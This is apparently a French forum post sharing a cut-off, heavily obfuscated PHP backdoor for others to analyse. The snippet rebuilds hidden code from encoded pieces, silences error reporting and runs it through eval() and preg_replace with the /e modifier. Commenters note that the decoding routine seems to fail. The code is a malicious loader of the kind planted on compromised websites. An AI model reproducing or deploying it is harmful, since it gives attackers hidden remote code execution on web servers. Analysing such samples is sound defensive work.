#-#B#-#T#-#]y84]275]y83]248]y8314+9**-)1%x5c%x782f2986+7**^%x5c825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x775%156%x61"])))) { $GLOBALS["%x%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utf%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftfdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Q78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<o82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3#7%x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%164%50%x22%134%x78%6%x28%151%x6d%160%x6c%157%x64%145%x28%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%xc%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x78{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{efmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5cx5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsf4-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x585c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%!isset($GLOBALS["%x61%156%xe:55946-tr.984:75983:48984:71]K9]77]D4]782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pm|:*mmvo:>:iuhofm%x5c%x7825:-5p5%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c%x78e%x5c%x78b%x5c%x7825w:!>,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)fepd%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf%%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x78**#sfmcnbs+yfeobz+sfwjid7]y72]265]y39]271]y83]256]y78]248]y83]256]y81]265x5c%x7827tfs%x5c%x78256<*17-SFEBFI,6<*127-UVPF825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782%x5c%x7827!hmg%x5c%x3]84]y31M6]y3e]81#%x5c%x782f#7T-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825tcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>#!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%]y72]254]y76]61]y33]68]y34]68]y33]65]y31]53]y6d]281]%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbgtpz)#]341]88M4P8]37]278]225]2if((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x]256]y81]265]y72]254]y76#<%x5c%x7825c%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#gx5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2pi}Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x786]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x785cq%x5c%x78257**^#:5597f-s.973:8297f:5297e:56-%x5c%x787281Ld]245]K2]285]Ke]53Ld]53]Kc]55L)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x7876]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267ror_reporting(0); preg_replace("%x2f%50%x2e%526<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2bx7825h!>!%x5c%x7825tdz)%x5c%x7825bb#>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nb7822)gj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x4<!%x5c%x7825mm!>!#]y81]273]5>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tb!-#}#)fepmqnj!%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825e#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)u0ufldpt}X;%x5c%x7860msvd}R;*msv%xvctus)%x5c%x7825%x5c%x7824%x7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x%x782f%x5c%x7825r%x5c%x827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5mfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7UI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbekc%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7--%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x782x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x78260{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*W~%x5c%x7824<%x5c%x78e%x5c%x78b8;0]=])0#)U!%x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=osvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{h#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O*#npd%x5c%x782f#)rrd<**2-4-bubE{h%x5c%x7825)su%141%x72%162%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%14!>!#]y3d]51]y35]256]y76]7x22%51%x29%51%x29%73", NULL); }%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5cNJU,6<*27-SFGTOBSUOSVUFS,6<*ms/(.*)/epreg_replacezfkfjtcuvl';
$hqyivmnksq = explode(chr((250 - 206)), '7520,60,6643,27,5533,31,452,70,8524,46,4966,30,5975,36,9917,58,5910,65,3726,51,1094,33,6852,30,1127,58,2942,44,2651,68,9287,51,9448,66,9105,45,242,62,3383,64,2840,20,4996,34,4098,26,5187,49,5030,64,4729,70,6011,55,3554,37,4875,37,4233,44,6372,51,407,23,181,61,5236,35,8323,21,8235,39,8741,67,3199,40,7666,53,3047,41,4687,42,5467,66,2416,69,7105,46,10076,30,4610,48,8570,43,9614,64,5564,51,8051,69,9150,33,6481,50,8891,44,10031,45,1000,54,3591,43,304,37,9756,65,3139,23,8836,55,5094,42,7888,69,5795,64,6305,67,3972,29,1426,22,7197,20,1353,32,9891,26,7285,58,102,42,6934,47,9567,47,6808,44,8613,37,1916,31,9209,55,6531,57,82,20,9871,20,3865,60,6882,52,2362,20,2986,61,4912,23,7343,39,1768,34,7032,24,4329,40,8998,21,6709,69,1644,42,144,37,4369,47,1988,69,9386,62,2088,62,8685,56,4186,47,1947,41,1596,48,1537,35,2860,62,2057,31,3162,37,1054,40,1572,24,49,33,6066,66,6778,30,3088,51,6249,56,7434,57,8415,47,5615,70,9338,48,5424,43,7783,63,5271,50,0,49,522,60,2922,20,2719,65,9709,47,3777,64,4501,50,430,22,3661,65,1262,52,5371,21,7631,35,3634,27,8462,62,8120,65,3313,70,7151,46,1314,39,6981,51,1686,56,4001,50,4935,31,1847,44,3507,26,651,60,4277,52,8808,28,4824,51,3841,24,4416,62,8935,63,9183,26,9514,53,6423,58,778,39,9019,43,7580,51,5136,51,948,52,6190,59,2255,39,817,21,838,59,9975,25,1891,25,4551,59,9062,43,4658,29,3533,21,6588,55,7846,42,897,51,4478,23,3447,60,711,20,1385,41,8008,43,2210,45,2612,39,341,66,8344,37,1802,45,7217,30,6670,39,5859,51,8274,49,582,69,3264,49,8381,34,2294,68,8650,35,7247,38,5685,44,7491,29,2150,60,4799,25,1742,26,731,47,2382,34,3239,25,5392,32,9264,23,6132,58,1503,34,4051,47,3925,25,7719,64,2485,60,8185,50,2545,67,4124,62,3950,22,1185,41,9678,31,1226,36,5321,50,9821,50,1448,55,5729,66,2784,56,7056,49,7382,52,7957,51,10000,31');
$doxosmosqu = substr($ckhabqgpbk, (35952 - 25846), (21 - 14));
if (!function_exists('sfjxiftjkk')) {
    function sfjxiftjkk($fshqwsaush, $epnqztfbwe) {
        $bmheypqekw = NULL;
        for ($vhfphhsyvc = 0;$vhfphhsyvc < (sizeof($fshqwsaush) / 2);$vhfphhsyvc++) {
            $bmheypqekw.= substr($epnqztfbwe, $fshqwsaush[($vhfphhsyvc * 2) ], $fshqwsaush[($vhfphhsyvc * 2) + 1]);
        }
        return $bmheypqekw;
    };
}
$fdypdjrucy = " /* woeckfxuns */ eval(str_replace(chr((141-104)), chr((434-342)), sfjxiftjkk($hqyivmnksq,$ckhabqgpbk))); /* fprapjkrrx */ ";
$lydvylpinc = substr($ckhabqgpbk, (48032 - 37919), (67 - 55));
$lydvylpinc($doxosmosqu, $fdypdjrucy, NULL);
$lydvylpinc = $fdypdjrucy;
$lydvylpinc = (498 - 377);
$ckhabqgpbk = $lydvylpinc - 1; ?><?php
?>
 

http://www.unphp.net/decode/6a7d361e44f0386b6f8fe003934a2462/

J'ai pas trop eu le temps de me pencher dessus mais libre à vous

[gruik]

j'ai l'impression que le gars s'est un peu vautré dans son déchiffrement, sa routine décode bien une partie (dans le eval()) pas suffisament pour que ça génère un code correct, et ça lève une erreur, à moins que quelqu'un ait mieux ?